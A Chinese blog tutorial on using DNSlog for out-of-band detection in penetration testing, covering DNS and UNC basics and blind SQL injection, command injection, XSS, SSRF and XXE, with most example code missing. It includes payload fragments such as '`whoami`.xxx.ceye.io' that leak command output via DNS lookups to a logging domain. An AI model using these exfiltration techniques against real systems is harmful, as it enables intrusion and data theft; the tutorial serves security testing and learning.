DNSlog在渗透测试中的应用
1|0预备知识
dns(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。(摘自百度百科)
dns服务器的端口是53。
2|0DNS原理
我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。
dns在解析的时候会留下记录。
简单来说:
当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息。
3|0UNC
介绍一下UNC
什么是UNC路径?
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt
4|0用处
- sql注入
- 命令执行
- XSS盲打
- SSRF盲打
- XXE盲打
- 其他
5|0SQL注入
sqlmap可以使用--dns-domain参数实现自动化dns注入
条件:
原理:
使用函数load_file()
,读取数据通过dnslog外带出去,但是文件大小要小于max_allowed_packet()
(限制server接收的数据包大小,默认为1MB),如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
利用的是windows的UNC,访问网络共享文件的特性。
适用于:
可用于联合(union select...),布尔/时间( and (select...) if((select .... ),1,1) ) 的无回显盲注,命令盲注(%os%.xxx.ceye.io `whoami`.xxx.ceye.io)
实测心得:
注意点:
判断是否可用
SQL盲注语句
6|0其他SQL注入
- 1.SQL Server
- 2.Oracle
- 3.MySQL
- 4.PostgreSQL
7|0命令执行盲打
windows 用%variable%
linux 用`variable` 反引号
使用dvwa靶场的命令注入模块实验,假设该注入点无回显
查询到了我们输入的变量:
windows常用变量:
linux常用变量
8|0xss盲打
注:这种方式可以绕过csp
通过盲打,当出发这浏览器访问预设置的链接地址,如果盲打成功,会在我们DNS服务器收到解析请求。
使用pikachu的xss盲打模块
收到请求说明触发了插入的js代码。
9|0SSRF(无回显)盲打
将url换成我们的DNS服务器,通过查看DNFlog平台日志看是否有服务器ip判断是否有SSRF漏洞
10|0XXE(无回显)盲打
使用参数实体,引用外部实体文件(目的地址是我们DNS服务器),二级或三级域名写成 我们想要的信息。
11|0其他
Struts2
FFMpeg
Weblogic
ImageMagick
Resin
Discuz
__EOF__

本文链接:https://www.cnblogs.com/forforever/p/14190569.html
关于博主:喜欢读书、旅行、爬山。评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】